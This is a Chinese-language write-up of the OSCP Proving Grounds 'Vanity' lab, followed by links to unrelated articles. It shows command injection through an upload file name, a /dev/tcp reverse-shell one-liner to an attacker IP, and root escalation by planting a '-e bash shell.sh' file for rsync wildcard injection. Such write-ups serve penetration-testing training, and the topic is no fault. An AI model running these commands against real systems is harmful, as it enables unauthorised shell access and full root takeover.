OSCP - Proving Grounds - Vanity

主要知識點

  • Linux命令注入

  • rsync 腳本劫持(以前tar 備份腳本劫持也是利用了類似的方法)

具體步驟

nmap掃描結果,發現web服務開放,并且 rsync服務開放,值得研究一下

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 14:37 UTC
Nmap scan report for 192.168.51.234
Host is up (0.00065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vanity Virus Scanner
873/tcp open  rsync   (protocol version 31)

80端口看起來是一個文件上傳的web 應用,但是經過測試發現是有文件后綴校驗的,暫時擱置一下

?

通過rsync來把remote server上的目錄同步下來,不過backup目錄同步需要密碼,而我們目前沒有,所以只能先同步一下source目錄

先對目標服務器進行rsync服務掃描?nmap -sV --script "rsync-list-modules" -p <PORT> <IP>?

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 11:41 CST
Nmap scan report for 192.168.203.234
Host is up (0.22s latency).PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules: 
|   source              Web Source
|_  backup              Virus Samples BackupService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds

繼而進行rsync同步

C:\home\kali\Documents\OFFSEC\GoToWork\Vanity\test> rsync -av rsync://username@192.168.216.234:873/source ./source              
receiving incremental file list
created directory ./source
./
index.html
style.css
uploads/
uploads/upload.phpsent 96 bytes  received 4,002 bytes  2,732.00 bytes/sec
total size is 3,707  speedup is 0.90C:\home\kali\Documents\OFFSEC\GoToWork\Vanity\test> ls -lart
total 12
drwxr-xr-x 3 kali kali 4096 Oct 25  2022 source
drwxrwxr-x 5 kali kali 4096 Dec 30 22:32 ..
drwxrwxr-x 3 kali kali 4096 Dec 30 22:35 .C:\home\kali\Documents\OFFSEC\GoToWork\Vanity\test> ls -l source/uploads 
total 4
-rw-r--r-- 1 kali kali 738 Oct 25  2022 upload.phpC:\home\kali\Documents\OFFSEC\GoToWork\Vanity\test> 

?

source目錄下有一個upload.php文件,其中的代碼如下,看起來會對上傳的文件校驗后綴,如果在deny list中,就會阻止上傳,反之,則會運行/usr/bin/clamscan 命令,參數是name變量,于是我們可以嘗試一下在name中拼接linux命令

<?php//Check if the file is well uploadedif($_FILES['file']['error'] > 0) { echo 'Error during uploading, try again'; }//Set up valid extension$extsNotAllowed = array( 'php','php7','php6','phar','phtml','phps','pht','phtm','pgif','shtml','htaccess','inc');$extUpload = strtolower( substr( strrchr($_FILES['file']['name'], '.') ,1) ) ;echo $_FILES['file']['name'];echo strrchr($_FILES['file'}['name'],'.');//Check if the uploaded file extension is allowedif (in_array($extUpload, $extsNotAllowed) ) { echo 'File not allowed'; } else {$name = "{$_FILES['file']['name']}";$result = move_uploaded_file($_FILES['file']['tmp_name'], $name);if($result){system("/usr/bin/clamscan $name");}}?>

利用burpsuite嘗試了一下,最后使用了base64 編碼的方式創建了reverse shell,其中base64編碼的部分為:?bash -i >& /dev/tcp/192.168.45.225/80 0>&1

上傳并運行pspy64,會發現 /opt/backup.sh會被root定期運行,是個schedule job

██▓███    ██████  ██▓███ ▓██   ██▓▓██?  ██??██    ? ▓██?  ██??██  ██?▓██? ██▓?? ▓██▄   ▓██? ██▓? ?██ ██??██▄█▓? ?  ?   ██??██▄█▓? ? ? ?██▓??██? ?  ??██████???██? ?  ? ? ██?▓??▓?? ?  ?? ?▓? ? ??▓?? ?  ?  ██??? ?? ?     ? ??  ? ??? ?     ▓██ ??? ??       ?  ?  ?  ??       ? ? ??  ?           ? ?     ? ?     Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
......
......
2024/12/30 05:38:01 CMD: UID=0    PID=174378 | bash /opt/backup.sh 
2024/12/30 05:38:01 CMD: UID=0    PID=174377 | /bin/sh -c bash /opt/backup.sh 

其中代碼為如下


cd /var/www/html/uploads/
rsync --password-file=/root/passwd -a * rsync://vanity/backup/

而rsync命令的話有-e 參數來制定運行命令

rsync --help
......
......-e, --rsh=COMMAND           specify the remote shell to use
......
......

?

于是我們仿照曾經tar命令備份的 方法,創建具有'-e xxxxx'的文件名來充當參數,擴展功能

www-data@vanity:/var/www/html/uploads$ echo "chmod +s /bin/bash" > shell.sh
echo "chmod +s /bin/bash" > shell.sh
ww-data@vanity:/var/www/html/uploads$ chmod +s shell.sh
chmod +s shell.sh
www-data@vanity:/var/www/html/uploads$ whereis python
whereis python
/python: /usr/bin/python3.8 /usr/lib/python2.7 /usr/lib/python3.9 /usr/lib/python3.8 /etc/python3.8 /usr/local/lib/python3.8
www-data@vanity:/var/www/html/uploads$ usr/bin/python3.8 -c 'import pty;pty.spawn("/bin/bash")'
<in/python3.8 -c 'import pty;pty.spawn("/bin/bash")'
www-data@vanity:/var/www/html/uploads$ touch -- '-e bash shell.sh'
touch -- '-e bash shell.sh'

過了一會兒,就發現了, /bin/bash具備了SUID

www-data@vanity:/var/www/html/uploads$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
www-data@vanity:/var/www/html/uploads$ /bin/bash -p
/bin/bash -p
bash-5.0# cat /root/proof.txt
cat /root/proof.txt
e181a37c7ba8f8cbd276eee4a49a3e8f

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/93543.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/93543.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/93543.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

詳細探討AI在金融、醫療、教育和制造業四大領域的具體落地案例,并通過代碼、流程圖、Prompt示例和圖表等方式展示這些應用的實際效果。

1. 引言&#xff1a;AI技術概述及其在各行業的重要性人工智能(AI)技術近年來取得了突破性進展&#xff0c;從理論研究走向了廣泛的商業應用。AI的核心技術包括機器學習、深度學習、自然語言處理、計算機視覺等&#xff0c;這些技術正在深刻改變各行各業的運營模式和服務方式。在…

我的第一個開源項目:從0到1,我在GitHub寫下的成長印記

文章目錄每日一句正能量前言? 一、寫在前面&#xff1a;那天我點下了 “Create Repository”&#x1f680; 二、為什么我要做這件事&#xff1f;&#x1f6e0;? 三、CommonUtilLibrary 是什么&#xff1f;? 四、第一次 Star 和第一次 Issue&#x1f9ed; 五、我從中學到了什…

數據結構(03)——線性表(順序存儲和鏈式存儲)

Hi&#xff01;探索者們&#x1f609;&#xff0c;歡迎踏入 408 數據結構的奇妙秘境&#x1f33f;&#xff01;? 我是 ankleless&#x1f4da;&#xff0c;和你并肩的尋寶人&#xff5e; 這是我的探險手札&#x1f5fa;?&#xff0c;里面記著鏈表森林的岔路陷阱&#x1f578;…

bun + vite7 的結合,孕育的 Robot Admin 【靚仔出道】(十三)

主題定制 &#x1f4d6; 閱讀時間&#xff1a;7 分鐘 | &#x1f3af; 等級&#xff1a;進階 前言 Robot_Admin應用程序具有靈活的主題系統&#xff0c;支持淺色、深色和基于系統的模式&#xff0c;以及程序化的主題定制。本指南介紹了如何在開發工作中使用和擴展主題功能。 …

檢測pytorch是否安裝好

如果pytorch安裝成功即可導入。import torch查看cuda是否可用&#xff0c;可用的話返回“ture”。print(torch.cuda.is_available())查看可用的cuda數量。print(torch.cuda.device_count())查看cuda的版本號。print(torch.version.cuda)

java八股文-(spring cloud)微服務篇-參考回答

一. 面試官&#xff1a;Spring Cloud 5大組件有哪些&#xff1f;Spring Cloud 的五大核心組件包括&#xff1a;注冊中心&#xff1a;第一代使用 Eureka&#xff0c;第二代使用 Nacos。負載均衡&#xff1a;第一代使用 Ribbon&#xff0c;第二代使用 Spring Cloud LoadBalancer。…

發布npmjs組件庫

一.初始化項目1.用Vite創建空項目2.安裝打包與聲明文件插件pnpm i -D vite-plugin-dts sass二.首先修改項目內容// src\index.ts import { type App } from vue; import oneComponent from "./components/oneComponent/index.vue"; import twoComponent from ".…

【C語言16天強化訓練】從基礎入門到進階:Day 2

&#x1f525;個人主頁&#xff1a;艾莉絲努力練劍 ?專欄傳送門&#xff1a;《C語言》、《數據結構與算法》、C語言刷題12天IO強訓、LeetCode代碼強化刷題、洛谷刷題、C/C基礎知識知識強化補充、C/C干貨分享&學習過程記錄 &#x1f349;學習方向&#xff1a;C/C方向 ??人…

【學習筆記】面向AI安全的26個緩解措施

一、Mitre Atlas矩陣概述 ATLAS 矩陣從左到右以列形式顯示了攻擊中使用的策略的進展&#xff0c;ML 技術屬于上面的每種策略。& 表示從 ATT&CK 改編而來。 詳見&#xff1a;ATLAS Matrix | MITRE ATLAS? 注&#xff1a;機翻的效果不是太好&#xff0c;對照理解用吧。 …

AI出題人給出的Java后端面經(十八)(日更)

鏈接雙端鏈表 前一篇&#xff1a;AI出題人給出的Java后端面經&#xff08;十七&#xff09;&#xff08;日更&#xff09; 后一篇&#xff1a;null 目錄 &#x1f535; 一、Java基礎&#xff08;Java 17&#xff09; 答案&#xff1a; &#x1f5c3;? 二、持久化層&…

【音視頻】瑞芯微、全志芯片在運動相機和行車記錄儀產品分析

文章目錄開頭總結詳細分析**1. 瑞芯微芯片的典型型號及特性****2. 運動相機場景的適用性****優勢****劣勢****3. 行車記錄儀場景的適用性****優勢****劣勢****4. 與競品芯片對比****5. 推薦方案選擇****總結****1. 全志芯片的典型型號及特性****2. 運動相機場景的適用性****優勢…

《清華級防護,了解一下?》

前言講到滲透&#xff0c;我們不可避免會遇到有waf攔截咱們的攻擊許多朋友在滲透測試中因為遇到WAF而束手無策&#xff0c;實際上所謂的BYPASS WAF實際上是去尋找位于WAF設備之后處理應用層數據包的硬件/軟件的特性。利用特性構造WAF不能命中&#xff0c;但是在應用程序能夠執行…

CANDB++中的CAN_DBC快速編輯方法,使用文本編輯器(如notepad++和VScode)

前言:在做工程機械CAN協議相關的軟件開發與調試時&#xff0c;經常接觸到DBC的使用&#xff0c;可以在CAN分析儀中加載DBC文件從而快速查看某條CAN報文或信號的含義&#xff0c;以及使用圖形化的調試。而編輯DBC文件&#xff0c;正常是用CANDB來一條條添加&#xff0c;比較費時…

Tmux Xftp及Xshell的服務器使用方法

Tmux&#xff1a; Tmux是什么&#xff1a; 會話與進程&#xff1a; 命令行的典型使用方式是&#xff0c;打開一個終端窗口&#xff0c;在里面輸入命令。用戶與計算機的這種臨時的交互&#xff0c;稱為一次“會話”&#xff08;session&#xff09;。 會話的一個重要特點是&…

微服務遠程調用完全透傳實現:響應式與非響應式解決方案

&#x1f9d1; 博主簡介&#xff1a;CSDN博客專家&#xff0c;歷代文學網&#xff08;PC端可以訪問&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移動端可微信小程序搜索“歷代文學”&#xff09;總架構師&#xff0c;15年工作經驗&#xff0c;精通Java編…

Kotlin集合概述

Kotlin 的集合類同樣由兩個接口派生&#xff1a; Collection 和 Map&#xff0c; Collection 和 Map 是 Java 集合框架的根接口&#xff0c;這兩個接口又包含了 一些子接口或實現類Kotlin 集合與 Java 集合不同&#xff0c; Java 集合都是可變集合一一開發者可以向集合中添加、…

Mysql核心框架知識

Mysql核心框架 本文旨在梳理和理解 MySQL 的一些核心知識點&#xff0c;并結合常見面試題進行思考和總結。這些內容主要來源于我的個人學習與理解。 1. 事務 概念 事務指的是滿足 ACID 特性的一組操作&#xff0c;可以通過 Commit 提交一個事務&#xff0c;也可以使用 Rollback…

C# NX二次開發:字符串控件StringBlock講解

大家好&#xff0c;今天介紹ug二次開發過程中的一個叫字符串的控件&#xff0c;這個控件在塊UI編輯器中可以使用。 下面是這個控件中的一些屬性和方法&#xff1a; 1、 protected internal StringBlock(); // // 摘要: // Returns or sets the WideValue.…

【datawhale組隊學習】n8n TASK01

教程地址&#xff1a;https://github.com/datawhalechina/handy-n8n/ 文章目錄n8n節點的類別local-pc-deployn8n n8n 意思是 nodemation&#xff0c;是 node 與 automation 的組合詞&#xff0c;讀作 n-eight-n。 n8n 是一個開源的、基于節點的自動化工具&#xff0c;官方站點…

海洋牧場項目融資新曙光:綠色金融賦能藍色經濟發展

在海洋經濟蓬勃發展的時代浪潮中&#xff0c;海洋牧場作為新興的海洋產業模式&#xff0c;承載著保障國家糧食安全、促進海洋生態保護與可持續利用的重要使命。然而&#xff0c;海洋牧場項目的建設是一項龐大而復雜的系統工程&#xff0c;從前期的基礎設施搭建、種苗培育&#…